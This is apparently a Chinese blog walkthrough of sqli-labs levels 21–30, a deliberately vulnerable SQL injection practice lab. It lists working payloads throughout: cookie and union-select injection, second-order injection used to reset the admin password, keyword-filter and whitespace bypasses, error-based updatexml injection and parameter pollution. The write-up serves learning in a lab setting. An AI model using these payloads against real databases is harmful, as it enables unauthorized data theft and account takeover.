sql-ilabs闯关21-30关——通关记录

sqli-labs闯关21-30——通关记录

Less-21

由题目可知,本题是cookie注入,且闭合方式是')。并且涉及到了base64编码

随便输入试探一下显示

username:admin
passwd:admin

8YW_AYGX_XNI~47@QP__XJ3.png

可以看到,cookie部分uname的值是进行了base64 编码

__3___D__QN0AX@2II98XT9.png

因此尝试修改cookie的值,且将目的语句进行base64编码后作为cookie输入

') union select 1,2,3#

UJZ`__RG_OURTD2Y7_Q0Z_F.png

可以看到,显示的字段是2,3

接下来继续绕过

') union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3#   #爆表

I__TQM_21ZF_UPTG48O_EPT.png

成功

Less-22

由题目可以知道该题为双引号闭合,且和上题一样

C4G~_CCQ_E6L_UBMQR6CJ50.png

不再赘述

Less-23

经过测试可知,该题是单引号闭合

5KUC_4O_PT_BJ4TV8_MLWHD.png

随后测试显示字段

?id=-1' union select 1,2,3 and '1'='1

BEAPC_JMP_G9WITJ937Q_HK.png

然后一套组合拳

?id=-1' union select 1,database(),3 and '1'='1

Y_@T_342Z__5EUWM_NSRG2I.png

?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security'),3 and '1'='1

可以看到限制了显示行数

~TST__0MWJ9__VT.png

加个limit即可

?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3 and '1'='1 

_UENV_V02Z69W7_1JMOTV_V.png

完成

Less-24

本题是二阶注入

二阶注入是指客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令信息。虽然参数在过滤后会添加 “” 进行转义,但是“”并不会插入到数据库中,这样就可以利用这个构造一个二次注入。

二阶注入也称为存储型的注入,就是将可能导致SQL注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发SQL注入二次排序注入思

一阶注入原理

  (1)一阶SQL注入发生在一个HTTP请求和响应中,对系统的攻击是立即执行的;

  (2)攻击者在http请求中提交非法输入;

  (3)应用程序处理非法输入,使用非法输入构造SQL语句;

  (4)在攻击过程中向攻击者返回结果。

二阶注入原理:

  (1)攻击者在http请求中提交恶意输入;

  (2)恶意输入保存在数据库中;

  (3)攻击者提交第二次http请求;

  (4)为处理第二次http请求,程序在检索存储在数据库中的恶意输入,构造SQL语句;

  (5)如果攻击成功,在第二次请求响应中返回结果。

查看源代码

mysql_real_escape_string() :不会转义 % 和 _ 。如果这两个符号和LIKE ,GRANT,REVOKE结合使用,他们将是MySQL里面的通配符

mysql_escape_string() 转义字符,即在字符前加

查看登陆界面源代码,可以看到这里并不能产生注入

BV_F7N_YUTDX4XV_I_357RH.png

查看注册界面源代码,可以看到这里同样进行了过滤

YQ7YB_36IGE67@0YUIZF~~O.png

看看修改密码页面源代码,看到这里没有过滤

6NE`9E_GE_QK_N8W~DV_7QT.png

尝试创建一个新用户,用户名为admin'#

查看数据库,已经创建成功

H3_2AUR_BJI2X~_C1MSVGUC.png

查看sql语句的执行过程

原SQL语句:UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

修改密码sql语句:UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
//#后面的语句被注释了
最后真正执行的sql语句:UPDATE users SET PASSWORD='$pass' where username='admin'

之后进入修改密码的界面,将admin的密码修改为000000

_UXPKK@M8TAT_0__10Z__A0.png

成功

Less-25

由题可知,该题过滤了and ,or的get注入

测试可知,该题是单引号闭合

看下面的提示,猜测是是单纯过滤了字符串,可以尝试双写绕过

?id=1' oorrder by 1 aandnd '1'='1

QGNFYE1Q_U.png

随后

?id=-1' union select 1,database(),3 anandd '1'='1

_2_T7`@RI_T_KW100O6D_ZD.png

成功

Less-25a

尝试闭合方式,单引号双引号都报错,且本题也都过滤了or,and

构造语句

?id=1 aandnd 1=1

U_GRK~_Q__EQE@KI42LQ46B.png

看出本题没有闭合

构造语句

?id=-1 union select 1,database(),3 aandnd 1=1

_EW__U2HE_OX_X_AFZJ_K~0.png

成功

Less-26

测试可得该题是单引号闭合,构造语句

?id=1' and '1'='1#

J87Z2___RI_DE82I95GB_GP.png

看显示,可以知道本题过滤了空格和and

查看源代码,看到这过滤比较完全,无法正面绕过

P1O__R69K@B_N~07_V_SYDH.png

所以采用报错注入,构造语句

?id=1'||updatexml(1,concat(':',(select database())),1)||'1'='1	#因为空格被过滤,因此采用||来链接语句

~___W@WXREG_H7CMWSWNQ_2.png

成功

Less-26a

尝试测试闭合方式。。。没测出来,查看源码是单引号小括号闭合

构造语句

?id=1') and 1=1

可以看到过滤了空格和and,和上题类似,不再赘述

Less-27

测试可得,闭合方式为单引号闭合,且过滤了union和select以及空格

在sql语句中,大小写不敏感

即SELECTselectSeleCt

查看源代码

B1UCF3`8HMRBAFR__C_K2.png

正则表达式

  • i
    如果设定了此修正符,模式中的字符将同时匹配大小写字母。
  • m
    如果设定了此修正符,行起始和行结束除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。
  • s
    匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ f v]。注意 Unicode 正则表达式会匹配全角空格符。
  • x
    如果设定了此修正符,模式中的空白字符除了被转义的或在字符类中的以外完全被忽略,在未转义的字符类之外的#以及下一个换行符之间的所有字符,包括两头,也都被忽略。
  • e
    如果设定了此修正符,preg_replace()在替换字符串中对逆向引用作正常的替换。
  • ?
    ./+/*之后表示非贪婪匹配,./+/*限定符都是贪婪的,它们会尽可能多的匹配文字,在它们的后面加上一个?就可以实现非贪婪或最小匹配。

构造语句

?id=0'%0Auunionnion%0AsselecteLECT%0A1,database(),3||'1'='1	#-被过滤了,因此不能使用-1,%0a换行符

55@X4_X_IW1F9I_Y~HRTTZI.png

成功

Less-27a

测试可知,闭合方式为双引号,本题和上题类似

构造语句

?id=0"%0AUNIon%0ASELECt%0A1,database(),3||"1"="1

UD_WG741E95B5__UT_OLC`E.png

成功

Less-28

猜测闭合方式

?id=1')||('1')=('1

正确,闭合方式是单引号小括号

查看源代码

JAE@DGIRJB_XBLCXCKGGNCI.png

可知过滤利用正则表达式使其大小写敏感,因此可以尝试双写绕过,且过滤的是union select

构造语句

?id=1990')ununion%0Aselection%0Aselect%0A1,database(),3||('1')=('1	#过滤掉union%0Aselect部分,其余部分执行

RKSDWOA__XSMBB57NN_ZCZL.png

成功

Less-28a

查看源码知道闭合方式是单引号小括号,且其仅过滤了union select

构造语句

?id=-1') uniounion selectn select 1,database(),3--+

L_DE_0_L_A_RI1_N_Y__UZY.png

成功

Less-29

测试知道是单引号闭合

构造语句

?id=-1' union select 1,database(),3 and '1'='1#

IZO55__Q@UK@AUS2HLW98.png

成功了,感觉没这么简单,再深入一点

?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3 and '1'='1#

A6_O8___LTV_G_AV6YGX4SS.png

???也成功了,所以到底防了个啥

查看源代码

在login.php的源码中看到

K_DF_XGA_1VJ_@_AV2@_SEW.png

这里解释一下服务器架构

服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据原路径返回

对于index.php/?id=1&id=2,Tomcat读取第一个参数,Apache读取最后一个参数,但是由于是Apache处理数据,因此最后返回的数据是id=2

对源代码里的函数解释一下

explode("string",parameter) 以STRING为分割符,将PARAMETER分割成字符串数组

foreach 依次输出数组内容

上述图片中的函数,返回带有id参数的字符串第四位到三十位的字符,然后进行正则匹配,若匹配成功,则执行sql 语句

KF_E8_J_BY_3CZIOG__TY2E.png

Less-30

测试可得闭合方式为双引号

构造语句

?id=-1" union select 1,database(),3 and "1"="1#

TUZ_ZI`_5DPL_SIC1ZF3O2U.png

成功

查看源码,本题和上题类似,不再赘述

原文地址:https://www.cnblogs.com/yyy-fff/p/14393775.html